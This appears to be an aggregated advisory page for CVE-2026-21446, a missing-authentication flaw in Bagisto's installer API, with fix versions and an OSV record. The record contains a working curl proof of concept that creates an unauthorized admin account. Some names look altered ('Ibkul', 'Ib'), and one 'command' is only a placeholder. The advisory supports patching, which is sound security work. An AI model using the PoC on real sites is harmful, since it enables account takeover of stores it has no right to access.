CVE-2026-21446: Bagisto/bagisto Bagisto Missing Authentication On Installer Vulnerability
HIGHCVE-2026-21446 is a HIGH (CVSS 9.8) bagisto missing authentication on installer vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Bagisto/bagisto libraries in the Packagist ecosystem. The issue involves bagisto missing authentication on installer api endpoints. Remediation is available by upgrading affected packages to version 2.3.10.
CVE-2026-21446 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-21446
To remediate this vulnerability, upgrade all affected Bagisto/bagisto dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade bagisto/bagisto to 2.3.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for bagisto/bagisto
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-21446, inspect your project dependencies for Bagisto/bagisto:
inspect dependencies for bagisto/bagisto
Analyze the terminal output to locate any version of Bagisto/bagisto in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.10), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Bagisto/bagisto, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-21446 Affected Bagisto/bagisto Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
bagisto/bagisto
|
Packagist |
≥ 2.3.0
< 2.3.10
|
2.3.10
|
References
Frequently Asked Questions
What is CVE-2026-21446?
Which Bagisto/bagisto versions are affected?
What version fixes CVE-2026-21446?
Is bagisto/bagisto affected?
What is the CVSS score of CVE-2026-21446?
What CWE is associated with CVE-2026-21446?
How can I check Packagist dependencies for CVE-2026-21446?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6h7w-v2xr-mqvw",
"modified" : "2026-01-08T21:35:01Z",
"published" : "2026-01-02T21:14:06Z",
"aliases" : [ "CVE-2026-21446" ],
"summary" : "Bagisto Missing Authentication on Installer API Endpoints",
"details" : "### Vulnerable Code\n\n**File:** `packages/Ibkul/Installer/src/Routes/Ib.php`\n\n```\n<?php\n\nuse Illuminate\\\\Session\\\\Middleware\\\\StartSession; \nuse Illuminate\\\\Support\\\\Facades\\\\Route; \nuse Ibkul\\\\Installer\\\\Http\\\\Controllers\\\\InstallerController;\n\nRoute::middleware(\\['Ib', 'installer\\_locale'\\])-\\>group(function () { \n Route::controller(InstallerController::class)-\\>group(function () { \n Route::get('install', 'index')-\\>name('installer.index');\n\n Route::middleware(StartSession::class)-\\>prefix('install/api')-\\>group(function () { \n Route::post('env-file-setup', 'envFileSetup')-\\>name('installer.env\\_file\\_setup'); \n Route::post('run-migration', 'runMigration')-\\>name('installer.run\\_migration')-\\>withoutMiddleware('Ib'); \n Route::post('run-seeder', 'runSeeder')-\\>name('installer.run\\_seeder')-\\>withoutMiddleware('Ib'); \n Route::get('download-sample', 'downloadSample')-\\>name('installer.download\\_sample')-\\>withoutMiddleware('Ib'); \n Route::post('admin-config-setup', 'adminConfigSetup')-\\>name('installer.admin\\_config\\_setup')-\\>withoutMiddleware('Ib'); \n Route::post('sample-products-setup', 'createSampleProducts')-\\>name('installer.sample\\_products\\_setup')-\\>withoutMiddleware('Ib'); \n }); \n }); \n});\n```\n\nAPI routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:\n\n- Create admin accounts \n- Modify application configuration \n- Potentially overwrite existing data\n\nthe underlying **API endpoints** (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.\n\n### How to Reproduce\n\n1. The Ib installer UI at `http://localhost:8000/install` has client-side protections \n2. **However, the API endpoints are directly exploitable:** \n - The attack works by calling `/install/api/admin-config-setup` directly via curl/HTTP client \n - No CSRF token, session, or authentication is required \n - The Ib UI workflow is completely bypassed\n\n### Proof of Concept\n\n```\n#!/bin/bash\n# PoC: Create admin account without authentication\n\n\nTARGET=\"http://localhost:8000\"\n\n\n# Create a new admin account\ncurl -X POST \"$TARGET/install/api/admin-config-setup\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"admin_name\": \"Attacker\",\n \"admin_email\": \"attacker@evil.com\",\n \"admin_password\": \"HackedPassword123\"\n }'\n\n\necho \"\"\necho \"New admin account created!\"\necho \"Login at: $TARGET/admin\"\necho \"Email: attacker@evil.com\"\n```\n\n### Expected Result\n\nThe API should reject unauthenticated requests with 401/403 status.\n\n### Actual Result\n\nThe API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.\n\n### Recommended Patch\n\nAdd installation completion check\n\n```\n// In InstallerController.php or a new middleware\n\n\npublic function __construct()\n{\n // Check if application is already installed\n if (file_exists(base_path('.env')) &&\n config('app.key') &&\n \\Schema::hasTable('admins') &&\n \\DB::table('admins')->count() > 0) {\n abort(404, 'Application already installed');\n }\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "bagisto/bagisto"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.3.0"
}, {
"fixed" : "2.3.10"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-21446"
}, {
"type" : "WEB",
"url" : "https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/bagisto/bagisto"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-02T21:14:06Z",
"nvd_published_at" : "2026-01-02T20:16:18Z"
}
}